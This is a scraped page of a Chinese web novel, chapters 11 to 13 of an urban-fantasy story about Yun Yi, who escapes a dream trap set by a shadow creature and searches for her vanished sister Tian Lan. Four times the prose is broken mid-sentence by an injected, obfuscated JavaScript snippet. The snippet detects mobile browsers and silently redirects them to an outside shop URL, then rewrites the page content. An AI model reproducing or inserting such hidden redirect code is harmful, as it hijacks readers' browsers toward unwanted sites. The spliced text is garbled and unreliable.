云一拿起筷子,夹起包子,刚要放进嘴里,余光却瞥见了一旁的小猫。她立马拿起包子,掰开一块递到小猫嘴边。 见此情景,妈妈立马说道:“小猫又不吃这个。” “对啊,还是你吃吧。”一旁的爸爸也附和道。 云一将小猫抱了起来,她对上小猫那双漂亮的眼睛,眉毛一挑,语气异常地冷静:“你不吃的东西,让我吃?” 小猫下意识地缩了缩,想逃走,却被云一牢牢抓住。云一抱起小黑猫,起身就要走出家门。 “一一,你这是干什么?” 在云一要开门的时候,妈妈和爸爸连忙跟了过来。 怀里小黑猫还在奋力挣扎,云一还是牢牢地抱住它,甚至还抽出一只手亲昵地抚摸着它。见父母走了过来,她停下脚步,斜着眼看着他们。 “一一,你这孩子,饭都没吃完呢。” 正说着呢,妈妈去拉了拉云一的胳膊,云一灵敏地躲开,一个巴掌迅速地出现在了那位妈妈的脸上。 爸爸一脸的不可置信,立马要上来教育云一。 “你竟然敢打你妈妈!” “啪!” 又一个巴掌出现在了爸爸脸上。 “一一!你要干嘛!” 云一无视那对父母的哀嚎,只将目光锁定在她怀里的那只小黑猫。 “你说呢,小家伙?” 她扭开门把锁,扭动门把锁的瞬间,传来一个声音。 “你怎么看出来的?” 那声音是从怀里的小黑猫传来的。 小黑猫从云一的怀里跳了出去,云一也没阻拦。 “妈妈”和“爸爸”也跟着小黑猫往后退,随后以一种诡异的速度钻进了小黑猫的身体里。 小黑猫用爪子揉了揉脸颊,轻蔑地看向云一,“这里的一切难道不是你记忆里的吗?到底哪里露出了破绽?” 云一歪着脑袋,将小黑猫从上到下打量了一遍,看着那小黑猫黑乎乎的毛发,想起了那小黑影子。她心下了然,漫不经心地打量着这里的一切,“我睁眼的瞬间,就知道了,小傻猫。” 最后三个字似乎激怒了那小黑猫,它“喵”地一声,叫嚷着飞扑向云一。 “本来没想动手的,是你破坏了这一切!”小黑猫露出尖利的爪子,“给我永远地留下来!” 云一扭动门把手,将门打开,外面是黑漆漆的一片。 什么也看不见,什么也摸不着,是一片虚空。 “你以为你逃得掉?你太小看我了!” 云一忍着被小黑猫抓伤的疼痛,一把拎住猫脖子,看着它张牙舞爪地乱动。 “小傻猫,是你太看得起你自己了!” 云一顾不上那小黑猫脸上复杂的表情,抱着它一起跳下那虚无…… “你疯了!” “滴滴滴滴……” 熟悉的声音响起,云一身子一震,脑子“嗡”地一声炸开。睁眼,她还躺在医疗舱里。只是,她急促的呼吸和飞快跳动的心跳声让她有些恍惚。 脑子还没清醒,但云一手上的力气却没小。她只觉得因为太过用力,小臂有些酸痛,定睛一看,一个黑影子正像一条小蛇一样缠着自己的手臂。 她心中火气一起,一鼓作气将那黑影子摔了出去。她猛地坐起来,碰到了医疗舱的顶部,痛得她呲牙咧嘴地叫了一声。 这么一来,她倒是清醒了,一看医疗舱里电子显示屏的时间,现在刚好是早上的六点三十一。 云一将目光投向一旁的小黑影子,看着它哼哼唧唧的样子,冷笑了一声。 “装什么装,你不是挺厉害的吗?” 那小黑影子向后缩了缩,委屈巴巴地看着云一。 “别装哑巴,我知道你会说话。” 云一的眼神一直锁定着那小黑影子。她像是已经抓住猎物的猎人,早就知道自己掌握着它的命运,只是带着戏弄般的心态,看它还能玩什么花样。 那小黑影子连忙跑了过来,十分可怜地蹭了蹭云一的手。 “难道你在外面不能说话?” 那小黑影子连忙点头。 手环开始震动,云一这才注意到她收到了好多信息。 她点开张照初发的那条信息,里面的字让她有些触目惊心。 “from张照初: 一一,你在哪里啊?你姐好像失踪了。” 云一只觉得脑子“嗡”地一声,她连忙点开工作群发的通知。 “今日凌晨有人报警说江边有怪兽出现,警员天兰前去查看,此后警员天兰消失在江边。” 天兰失踪了…… 不对吧,天兰怎么会失踪呢? 天兰可是大女主啊! 如果天兰失踪,那一定是有什么新的情节,天兰肯定会没事的。毕竟这可是以天兰为主角的小说世界,这个世界怎么能离开天兰? 这么想着,云一还是觉得有些不安。她用手推了推这医疗舱,根本就打不开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081480|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又对着这屏幕一顿操作,医疗舱一直提示她,还未到时间。天兰可是设置了四十八小时啊,为什么是四十八小时? 云一想起天兰那些莫名其妙的话,越想越觉得不对劲。好像天兰是故意要撇开她去做一些事情,而且,她最后那些嘱咐,似乎是知道自己会出事一般…… 烦躁的内心让云一有些不耐烦,她用力地锤了锤这医疗舱。又启用异能,召唤成水源变成一根冰柱,妄图撬开医疗舱。结果因为医疗舱的材质过硬,冰柱一下子就碎了。 “嘻嘻嘻嘻……” 窸窣的笑声从那小黑影子处传来。 云一一把揪住那黑影子,不耐烦地说道:“小傻猫,弄开他。” 那小黑影子还眨巴眨巴眼,试图蒙混过关。 谁知,云一立马贴着它的耳朵说道:“你要是弄不开这东西,我就弄开你。” 小黑影子一个激灵,浑身的毛发都竖了起来。它一个转身,化作一条滑溜溜的小黑蛇,钻进了医疗舱的缝隙。只听霹雳吧啦一阵响动,医疗舱居然炸开了。 看着半个医疗舱从自己脑袋上面一分为二落到地上,云一一阵后怕。这东西要是砸到她身上,那还了得? 她立马拎起那小黑影子,“你是不是故意的?” 小黑团子立马摇头。云一也不再和它纠缠,立马拨通了张照初的电话。 “一一?你醒了?昨天我给你打电话你睡着了都没接……” 云一赶紧打断张照初,急切地问道:“我姐是怎么回事?” “昨天,我们接到警情说江边有怪物,刚想去查看,结果你姐就说她要去。” “等我们赶到的时候,你姐就不见了。” “我们查了监控,天兰的确走进了那个区域,但是监控里却没有你姐姐走出来的画面。在你姐家进去期间也没有其他人进出。” “我们的手环都是有定位装置的,你姐姐的定位装置显示她就在江边,可我们都要掘地三尺了,却找不到半点她的踪迹……” 云一冷静地想了想,试探地问道:“会不会有人修改了监控?” “也有可能,”张照初说,“但是,手环的事情怎么解释呢?” 张照初在电话那头叹了口气,“我们老大和一组老大一接到消息就赶过来了,两人带着一组和二组的人通宵了一晚,什么招数都用了,还是没找到天兰。” “这事情已经上报上去了,不知怎么的,柳氏财团的人和教会的人都来了。这才不到七点啊!一定是出了什么大事!” 听到柳氏财团和教会,云一不由得想到了那小黑团子吞掉的“血泪”。难不成和这东西有关? 她连忙出门,走了好久才打到了一辆网约悬浮车。飞也似地赶往警局。 司机的车上正播放着新闻,她听到了柳氏集团和“血泪”这样的字眼,不由得抬眼看着那小小的屏幕。 “今日,柳氏集团宣称丢失的教会圣物‘血泪’已被找回,柳氏集团代表人表示,圣物失而复得便是神明的指示,柳氏集团将遵从神明的指示,把圣物迎回柳家。” 云一只觉得脑子有些转不过弯来,她看了看缩在她的影子里的小黑团子,双手紧攥成拳头。 暗影把“血泪”还给柳家了? 还是说,柳家的人说谎了? 11. 失踪 “您的目的地已到,下车请带好随身物品,嘟嘟打车期待和您下次相遇。” 机械的提示音将云一的思绪拉回了现实,她拉开车门,大步地向警局大楼走去。 前排的司机不动声色地注视着云一走远,他推了推眼镜,拨通了电话。 “枫哥,按你的吩咐,给她看了新闻。” “人已经走进去了。” 电话那头的人似乎是喝了一口咖啡,极细的吞咽声伴随着说话的声音传来:“奥多伊,守在附近,跟紧一点。” “是。” “我已经让阿宇也过来接应你了。” “是。” 一进警局大楼,阿波罗的声音就响了起来。 “早上好,警员云一,系统显示,你正在休假中。抱歉,你没有进入大楼的权限。” “滴滴滴”的尖锐声响起,云一按了电梯,却始终按不开电梯门。她有些无措地左右看了看,却没看见一个熟人,她连忙拨通了张照初的电话。 “张照初!快来接我,我现在进不去!” “我就在一楼。” 云一焦急地看着电梯显示屏的数字从二十七楼逐渐变成一楼,终于,“叮”的一声,电梯门开了。 “一一……” 不等张照初说完,云一立马冲进了电梯,按下特调处的楼层。然而那按钮却丝毫不动,张照初眼疾手快地帮云一按了下去,眼看电梯动了起来,云一才长舒了一口气。 “一一,你先别着急,老大他们正在开会讨论……” 这短短的几个字如同一把利剑刺中了云一的心脏,她飞快的脚步突然停了下来,“开会?” “为什么要开会?不是应该派人去搜索吗?” 张照初抿了抿嘴唇,艰难地开口道:“搜索队已经回来了……” 根据如今的科技发展程度,搜索用具也极度高效,就天兰消失的时间、地点,深度搜索也不过半小时时间。警局昨晚还将范围扩大了五十倍,搜索依然无果。 云一感觉自己的脑子已经一团乱麻了,她飞快地跑到了会议室。会议似乎已经结束了,只见许久未见的局长和穆怀副部拥着柳氏集团的会长走了出来。三人面色轻松,似乎相谈甚欢。 跟在身后的裴英轩一眼就看见了云一,她拉住了正要跟着领导的顾青,示意他注意云一。一群人簇拥着大人物们离开了,只有顾青如离开鱼群的小鱼,游向了云一。 “你的休假还没结束,怎么来了?”顾青瞪了一眼张照初,“又是你小子?” 云一立马出声询问,“组长,什么时候开始第二轮搜索?” 顾青难得沉默了,他掏出一个棒棒糖,剥开,递给云一。见云一不接,就自己塞到了嘴里,良久才说道:“云一,没有什么第二轮搜索了。” “什么意思?天兰还没有找到,你们难道要放弃她吗?”云一压制住从心口涌上来的心酸,她看向顾青,妄图从那个一向纨绔的组长脸上,看到他只是在说笑的证据。 然而顾青的脸上是从未有过的严肃,甚至有一分悲哀的神色,他拍了拍云一的肩膀:“我们在江里打捞到了天兰的手环,除此之外,什么也没找到。” “这又能证明什么?”云一心中有一团疑云,她心中的焦急促使着她有几分不耐烦。她甩开顾青放在她肩上的手,大步流星地就要往刚才那些大人物的方向追去,“你不说,我去问局长!我倒要看看,一个警员平白无故地失踪了,联邦警局是不是真的一点反应也没有?” “一一……”张照初赶紧跑过来拦住云一,“你别冲动啊!” “你让开!”云一已经被焦急给蒙蔽了双眼,她丝毫没在意张照初的安危,手上已经发动了异能,想要直接把张照初打开。 手上一热,手腕被顾青握住,她暂时恢复了理智,只是斜眼瞪着顾青。 “他们的确讨论过,说不能告诉你真相。” “不过那是他们,你想知道真相的话,请你心平气和地跟我走。” 说着,顾青就向前走去,他用手势制止了张照初跟着。张照初冲云一撇撇嘴,做了个“快去吧”的手势,便留在了原地。 云一没有多想,立马跟上了顾青。 两人走到了顾青的办公室,顾青将门关好,拉好窗帘,才招呼云一坐下。 他丢了一颗糖给云一,云一接住,是一颗芒果味的糖果。 她紧紧握住那颗糖果,直到手里有明显地抓住一个确切的物品的实感,她才觉得心里的焦急好了许多。 顾青将一个文件袋递给云一,里面装了一个u盘。 云一取出u盘,插入脖子后面的端口,读取里面的资料。 一个个文字和画面跳了出来…… 大量的信息让云一的脑袋有些昏沉沉的,她取下u盘,看向顾青,“这里面的资料说,我姐姐和光明会的人合谋偷了‘血泪’?” “怎么可能?” 在这个世界,从公民到联邦总统都信教,他们都是教会的信徒。教会信奉真神,他们认为真神牺牲了自己,拯救了世界。真神还留下了不少神迹,比如异能者。所有异能者都是被真神祝福的孩子。 而光明会则宣扬真神还存在于世界,所有人都要遵从真神的召唤。他们说自己能听懂真神的神谕,他们召集了一群异能者,还豢养了许多怪兽,吸引教徒干了许多匪夷所思的事情。 要说大女主和这种明显的反派组织有关系,打死她也不信。更何况,在这一个多月的相处中,云一从未发现天兰和什么光明会有关系。更何况还偷了那什么“血泪”。那东西不是被暗影和她拿走了吗? 顾青将棒棒糖从嘴里拿出来,很熟练地从抽屉里摸出来一包烟。他看向云一,“介意我抽烟吗?” 云一摇摇头,“组长,到底怎么回事?” 烟雾从顾青的嘴里吐出,云里雾里,让人看不清眼前的情景。 “昨日,光明会的怪物在江边出现,之后,天兰便到了。” “怪物和天兰都消失了,而天兰却丢下了能定位能与警局联系的手环。” “这又怎样?”云一不解,“手环是在江里找到的,并不能证明什么。” “今日凌晨,柳氏集团的人发了声明,声称’血泪‘找到了。”顾青吐了一口烟,他看向云一,“与此同时,柳会长亲自带人来到警局,他和局长密谈一个小时后,才召集了我、裴组长、特调处的副处和处长开会。” “会上,柳局长称,’血泪‘被光明会的人送到了柳家。光明会的人表示,他们的人里应外合就能从联邦政府和教会的手里拿到’血泪‘,这就足见他们的强大。” “他们要借机和柳氏集团合作。柳会长称,他不会和光明会合作,也不想把事情闹大,以免有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081481|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 损联邦警局和教会的脸面。”顾青掐掉香烟,用手拍散烟雾,“所以,他们要息事宁人。” 云一死死地盯着自己的脚尖,拳心纂得更紧了,“这么模拟两可的话,你们就认定天兰和光明会是一伙的?” “你相信吗?” 指甲已经嵌入手心,手指被一根一根掰开。顾青将那颗糖剥开,递到云一面前。见云一还是固执地用那双和天兰有五分相似的眼睛盯着他,他只好将糖果放到自己嘴里。 “这重要吗?” 云一站了起来,全身上下都散发着戾气。顾青拉住云一的手臂,叹了一口气。 “云一,这件事到此为止了。” 云一甩开顾青的手,头也不回地走了出去。 天兰可是大女主,大女主有的是人帮她。什么男一男二男三男四男五…… 人人都抢着帮她。 “一一,怎么样了,组长怎么说?” 张照初见云一出来,立马跟了上去。 “你要帮我一起找天兰吗?” “啊?”张照初愣住了,他看向身后冲他使眼色的顾青,不知该怎么回答。 见此,云一也不理他,大步向医疗室走去。 她直接将门推开,伍言和关小小吓了一大跳。 “云一?怎么了?”伍言放下保温杯,带着些疑惑,看向云一。 “和我一起去找天兰,你去吗?” 伍言闻言,脸色沉了沉,“天兰的事情,我听说了。你要相信上面的安排,上面……” 那些冠冕堂皇的话,云一已经腻了,她直接转身就走。走到一组的办公室,云一径直走向那位和天兰几乎形影不离的同事安东尼。 “和我一起去好天兰,你去吗?” 安东尼的眼神有一瞬间的暗淡,还没等他说话,一个有些严厉的女声打断了他。 “安东尼,行动组已经出动了,你怎么还没动?” 裴英轩颇有压迫感地站到了两人身后,言语里是上位者不容反驳的威严。 “是。” 看着安东尼走远,云一叫住转过身要走进办公室的裴英轩,“裴组长,你也相信我姐是叛徒?” “顾青告诉你了?”裴英轩转过身,脸色有些不悦,“云一,这是机密。顾青泄密也是要受罚的。你一个还在休假中的人,有什么资格过问?” 云一突然觉得很滑稽,这人不是天兰的好友吗? 云一不再多言,她忍住心头的酸涩,转身就要走。 这时,张照初不知从哪里钻了出来,拉着云一对裴英轩赔笑脸道:“裴组长,不好意思,一一她烧糊涂了。您大人大量别和她计较,我这就把她带回去。” 张照初半推半拉地将云一拉到了一楼,他拉着云一走了出去,伸手就要拦一辆出租车。 “不用了,我自己会走。” “一一,我送你吧,我有点担心你。” 云一退后两步,她看着张照初那张聪明的脸,那张脸上写满了担心。她摇了摇头,自顾自地拦了一辆车,便坐了上去。 她回想着方才得到的消息,光明会如果有同伙帮忙偷“血泪”,也不该是天兰,而是那几个家伙。 更何况,她的身体里还藏着一颗呢。 云一没注意到,司机不动声色地将后视镜掰了一下,掰到了恰好可以观察到云一的角度…… 12. 真相 小黑影子悄无声息地从云一的影子里游了出来,像一条小蛇一般绕到了云一的手腕处。云一有意无意地用手指敲着车窗,眼神的余光投向后视镜里司机的那双眼睛。 和云一的眼神对视的一瞬间,奥多伊立马收回了目光。他不确定云一是否发现,只觉得车后莫名的安静,他只得故作镇定地开着车。 终于,悬浮车驶到了目的地。 “客人,到了。” 没有听身后有动静,奥多伊抬眼看向后视镜,却发现云一正目光灼灼地盯着他,如同盯着一只任人宰割的猎物。一瞬间,一种阴凉的感觉从他的后背游离到了脖颈处。 一条黑乎乎的东西,像一条蛇一样缠上了他的脖子。他正想发动异能,却惊觉自己四肢无力,只能任人宰割。 “你是谁?假扮司机有何目的?” 云一伸手掰了掰后视镜,好让自己看清那司机脸上的全部表情。 见他不说话,云一打了个响指,那小黑影子如同接收到了信号,立马将那人的脖子缠得更紧了。 奥多伊的呼吸都有些不畅了,脖子上青筋爆起,手上有些无助地乱摸着,趁着云一不注意按了一个按钮,发送了一条紧急短信。 云一有些讶异于小黑影子的听话,心里有些明白了。这黑东西似乎能读懂她心里想什么,也能立马去执行。甚至,它的能力不亚于那些异能者。 看着小黑影子的动作,云一想起天兰的话,这小黑影子极有可能就是教会里的“神”。这东西还和她的母亲有关。她的身体里有所谓的“神”,这个“神”还吞噬了教会和光明会都想要的“血泪”。而天兰被指认是光明会的同党,她的失踪还平息了“血泪”失窃的事。 这一桩桩一件件,似乎有什么关联,只是差一个线索把它们串起来。 见奥多伊有些受不了了,云一挥了挥手,小黑影子又放松了一些。 “还不说?” 奥多伊察觉到脖颈处的那东西松开了一些,立马拼命地用腿蹬开车门,滚了出去。 眼前的变化倒是让云一有些意外,这小黑影子也不行啊。 云一打开车门,刚走了出去,就看见一个大高个挡在了那司机身前。 小黑影子感受到了她的防备,它那如长蛇般的身子又进一步锁死了奥多伊。 奥多伊“啊”地一声倒在地上,艰难地发声:“别…别动手…” 这时,一个熟悉的身影出现在了奥多伊和大高个的身后。 “一一,他们是自己人。” 云明枫近乎冷静地看着自己的同伴倒在地上,他的目光在捕捉到那小黑影子的时候,眼睛止不住有些发光。 这东西… 他果然没赌错! 云一看着这个熟悉的人,心中疑云顿起。这个舅舅不就是开咖啡店的吗,怎么和这两个跟踪自己的人有关系? 她想起天兰的话,天兰说过,不要相信云明枫。 云明枫见云一用一种审视的目光看着自己,那小黑影子也丝毫没减轻动作,他不由得再次开口: “一一,我们坐下来好好说,所有的一切我都告诉你。” “包括天兰的事情。” 最后一句话戳中了云一的心事,小黑影子感应到了云一的心理变化,便慢悠悠地从奥多伊的脖颈上游了下来。它缠到云一的手臂上,悄无声息地隐藏到了云一的衣袖处。 云明枫目不转睛地看着云一的手臂处那团黑影,他深呼吸了好几次,才压制住自己的兴奋。见云一抬眸注视着他,他才抬了抬眼镜,如往常般笑了笑。 “我们进去说话。” 云一这才发现,这里就是云明枫那家咖啡馆的后巷。 “叮铃铃…” 云明枫推开店门,门上的风铃发出清脆的声音,他望向云一,示意她走进来。 这清脆的声音如同一股清泉,将云一自天兰出事以来的所有焦虑和烦躁给清空了。 她的脑子突然清醒过来,这个舅舅身上的疑点太多了。天兰之前和他一直都不太对付,两人之间一定是有些什么。 这样的一个人,她能相信他吗? 倘若她真的听了他说的话,她还能全身而退吗? 云明枫见云一没动,便用手挡着门,示意云一快进来。 云一深呼了一口气,眼下也没有更好地办法了。她迈开步子,一步一步地走进咖啡厅,如同走到那条命定的道路。 “一一,喝什么?” 云明枫走到吧台,得心应手地摆弄着咖啡机。 见云一没回答,他只笑了笑,“卡布奇诺好不好?” 说着,他便自顾自地忙碌起来。 “坐吧。” 戴眼镜的奥多伊揉了揉脖子,挤出一个笑容,对云一挥了挥手。 大个子阿宇见状,无奈地摇了摇头,倒是一屁股坐了下来。 云一不理会二人的挤眉弄眼,也坐了下来。 不一会儿,三杯咖啡便端了上来。 醇香的咖啡味让人心里一暖,云一也不动那咖啡,只是盯着云明枫:“舅舅,您是不是该解释一下,为什么让人跟踪我?” 云明枫极其体贴地将一碟烤好的面包递到云一面前,他抬了抬眼镜,缓缓开口:“你今天应该还没吃东西,先吃一点。” 见云一还是用一种审视的眼神看着自己,云明枫这才开口说道:“我的确派人一直跟着你,但我没有恶意。我只是怕你像天兰一样,突然就消失了。” 听到天兰的名字,云一下意识地握紧了拳头。 “舅舅似乎知道什么?” “是。” 云明枫瞥了一眼坐在一旁大快朵颐的阿宇和奥多伊,奥多伊立马领会,拍了拍阿宇的肩膀。示意他该走了。 见阿宇还恋恋不舍地盯着那面包,奥多伊只好端起那面包,阿宇见状,这才跟着奥多伊走了出去。 咖啡馆里只剩下云一和云明枫两个人了,她知道,这是要说一些重要的事情了。 云明枫从吧台下面的抽屉里拿出一个相框,他盯着那相框出了会儿神,才递给了云一。 相框里是一个女人的照片,那女人的长相和云一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087892|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有五分相似。 “这是你妈妈,也是我姐姐,云想衣。” 云明枫叹了口气,“你妈妈曾经是教会的神使,因为天赋极高被选为降神计划的人选。” 这件事天兰曾经说过,所以云一并不意外,只点了点头。 “你知道‘降神计划’吗?”云明枫的眼神变得凌厉起来,“那所谓的神,不过是身躯庞大身有异能的怪物。那些怪物根本不属于这个世界,他们身有异能,教会的人想要他们的异能,所以想出了这么一个办法。” “被附身的人,能因此获得一些怪兽的异能。”云明枫冷笑一声,“代价却是被所谓的‘神’掌控肉身变成容器,最后变成‘神’的养料。” 云一盯着脚下的影子,心里有种说不出来的滋味。教会做出这种事情,这还和xie教有什么区别? “这和天兰的失踪有什么关系?”云一眼神一动,“难道是教会?” “你先耐心地听我说完。”云明枫继续说道:“接受降神计划的人并不是都能成功,那些人死的死,伤的伤,就算是成功的那些人,也难以承受‘神’的力量。” “所以,他们逃了。” “其中有个神使是精神控制方面的异能者,她发现自己可以使用异能压制住‘神’,甚至能控制‘神’。” “于是,她带领那些逃走的人创建了一个专门和教会作对的组织。” 云一一下子就反应过来了,“光明会?” “没错,”云明枫点了点头。 “那个人不会是我妈妈吧?” 云明枫轻轻笑了笑,“就是你妈妈。” 天哪,这是什么设定?爸爸是刑警,妈妈是教会叛逃者、邪教的创始人… “也不全是,”云明枫的手捻了捻桌上的餐桌布,“你妈妈小瞧了那怪兽,那个‘神’悄无声息地对你妈妈实行了精神控制,将这个组织壮大了起来。” “而且它培养了一群忠实的信徒,让一群人为它做事,直到它完全摆脱人类□□的控制。” “什么叫完全摆脱?”云一捕捉到了一丝不对劲。 “死亡。”云明枫眯着眼睛,似乎在回想什么,“十年前,那怪兽杀了你妈妈,可你妈妈同样也将它重创。你妈妈死了,那怪兽也不见了…” 云一想到天兰说过这件事,她说那小黑影子就是附身在妈妈身上的‘神’。所以,它不是不见了,而是附身到了她的身上。 “光明会一直在寻找那个所谓的‘神’,”云明枫推了推眼镜,“昨日,天兰应该是从你身上,不,应该是从那个‘神’身上,取了一件带有那个‘神’的气味的东西吧。” 云一的心一下子被抓紧了,她想起了那滴血… “昨日我也派了阿宇跟着天兰,但是阿宇跟丢了,”云明枫叹了口气,“天兰十有八九是被光明会的人当做是被‘神’附身的人,给带了回去。” 云明枫仔细观察着云一的表情,丢下如同炸雷的一句话。 “天兰应该是知道那东西在你身上,她在保护你。” 心防彻底崩溃… 13. 机械面具舞会 “你有办法救天兰吗?”云一望向云明枫,竟然他愿意说这些,一定是有备而来。 “当然,”云明枫推了推眼镜,“不过,我需要你和你身上那东西的帮忙。” 云一勾了勾嘴角,这个笑有种审视的意味。云明枫莫名有些心虚,但他并不表现出来,单手扶了扶眼镜框,眼神毫不回避地看向云一。 “你们是我姐姐的骨血,是她留在这世上唯一的念想,我绝对不会伤害你和天兰。” 这句话仿佛是在起誓,那么郑重。 “你的计划是什么?”云一收回审视的目光,她端起咖啡,浓厚的香味将她紧绷的神经放松下来。 “现在还不到时候。你先回去休息,行动时我会告诉你。” 云一的手端着咖啡,她的动作突然停滞,直直地看着云明枫。 “你得学会相信我。” 云一将咖啡递到嘴边,喝了下去,浓厚的咖啡香在嘴里扩散。 面包又被推到手边,云一拿起一个面包吃了下去。 云明枫见此,这才露出了笑容,如同一个关心侄女的舅舅。 一口气吃完三个面包,云一才感觉自己活了过来。 她站起身,就要走出去。 “叮铃铃…” 推门的时候风铃又被撞响了,云明枫突然在后面喊住云一。 “对了,阿宇说,他后来又回去探查了好几次天兰失踪的地方。” “除了联邦警局的人,阿宇还发现了暗影的踪迹。” 云一的动作一滞,她想起来昨晚,那个人从她身上也取了一滴血。那人似乎也了解她身上小黑影子的事。 “我知道了。” 云一推门而出,阳光洒在她身上,似乎把她心里的疑云也照散了一些。 门口,阿宇和奥多伊正蹲在门口发呆。一见她出来,两人有些尴尬地看着他,还是奥多伊对云一招了招手,就算打过招呼了。 云一看着这两人,这两人看起来就不像是什么有心眼的人。她讶异与自己这个人精舅舅居然有这么没心眼的朋友,她对他们点点头,就算是打过招呼了。毕竟以后和这两个人还有接触。 回到家,不过一夜的工夫,竟然物是人非了。 云一坐在沙发上,灯光照在她身上,影子落在了墙上。云一看着那影子,心中一动。她将那小黑影子从中揪了出来,小黑影子又变成小猫大小,在她的手上张牙舞爪地乱动着。 这么个小东西,真的是附身在她妈妈身上的“神”?这么个小东西,真的创建了光明会? 可是,这东西如今这么乖顺的在她身边…… 不对,这小东西可不乖顺,它不是还想把她永远困在梦中吗? 许是感应到了云一的想法,小黑影子求饶似地冲云一“呜呜”了两声。云一单手拎起那小黑影子,很认真地看着它。小黑影子感觉着云一的想法,它察觉到云一的敌意消失了,便灵巧地变幻为一条小蛇,从她的手里缩了出去,钻进了云一衣服口袋,又想无声无息地隐藏自己。 云一没让它如意,一把抓住小黑影子的尾巴,将它揪了出来。小黑影子胡乱摆动着身子,将口袋里的一张卡片给弄了出来。 云一捡起卡片,上面写着“百丽酒吧”四个字。她想了起来,这是那个叫云石楠的暗影留下的东西。 方才,云明枫说过,暗影的人也出现在了天兰消失的地方。可就算找到他,她又有什么资本能让一个暗影乖乖配合呢? 也许还真有。 云一看向小黑影子,这小东西,自从那个梦境之后,可谓是对她言听计从的。她对着小黑影子笑了笑:“小傻猫,你能把那颗’血泪‘吐出来吗?” 小黑影子疯狂摇头,但是对上云一那双似笑非笑的眼睛,犹豫再三,只得弓起背做呕吐状。 “呕……” 一个血红的小珠子伴随着一堆黏液,被小黑影子献宝似地推到云一面前。 云一将那珠子擦拭干净,这才又拿起了那张卡片。 她的手指摩挲着卡片上的字,想起了云石楠那双如野兽般的眸子。 云一将卡片放在了桌上,她一起身,卡片被碰到了地上。 地上的卡片被捡起,云一扫了一眼正在派发卡片的年轻男人。那男人伴随着音乐跳着舞,脸上的小丑涂鸦将他的表情都掩盖了,他潇洒地边跳舞边把卡片发给路过的男男女女。 不过,看地上一堆卡片,就知道这小丑的派发任务并不算成功。 云一的目光从卡片上的“百丽酒吧”四个字,移到了霓虹广告牌上闪耀着的“百丽酒吧”四个字。酒吧门口,巨大的3d投影下,一个戴着机械面具的机械dj正在打碟,几个或帅气或性感的男男女女在周围摇摆着身姿。好不热闹。 走到门口,一个戴着小丑面具的服务生递给云一一个面具。 “小姐,今晚的主题是假面舞会。” 云一接过一看,居然还是机械面具。 这不就是云石楠他们去抢“血泪”的时候,戴着的面具吗? 胆子可真大…… 云一将面具戴上,她走过一个贴满了碎镜片的走廊,里面倒映出成千上百个戴着面具的她。那面具居然能根据人的表情,变化表情。现在,她的机械面具就是一副惊讶的模样。 走到大厅,巨大的音乐躁动起来,云一手上那小黑影子也跟着音乐晃动身子。人头涌动,全是一群戴着机械面具的人,去哪里找云石楠呢? 她卖力地挤过那些在舞池里跳动的人群,忽然,有人在耳边轻声说话。 “你在找我吗?” 云一猛然转头,还是那群跳舞的人。 “我在这里。” 云一跟随着声音,再次转过头,一张机械脸正对着她笑。 她一惊,一连后退了几步,差点撞到端着酒盘的服务生。 手上被谁一拉,她这才站稳身子。回过神,那机械脸又不见了。 云一有些不耐烦地扒开人群,要去追那机械脸。不知不觉,她竟然走到了舞池中央。 “哇,这位小姐勇敢地上了台!人齐了!掌声鼓励!” 一个穿着像个小丑的机械DM兴奋对着云一撒了一把彩带,云一这才发现自己似乎闯入了什么活动。只见她身边还站着三个机械女,而对面站着四个机械男。 其中一个机械男正对着她挥了挥手,他脸上面具的表情也变成了做鬼脸的表情。这不就是刚才那个疑似云石楠的机械脸吗? 云一正准备冲上去,就被那个小丑DM给拦了回来。 “这位小姐也太冲动了吧,游戏还没开始呢!” 云一只得待在台上,眼看着对面站着的云石楠。 “规则很简单,”小丑DM抱着一个箱子走到他们中间,箱子的前后两面各有四个洞,四条彩带从洞穿了出来,“没人拉一根彩带,成功配对的男女,跟随音乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087893|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 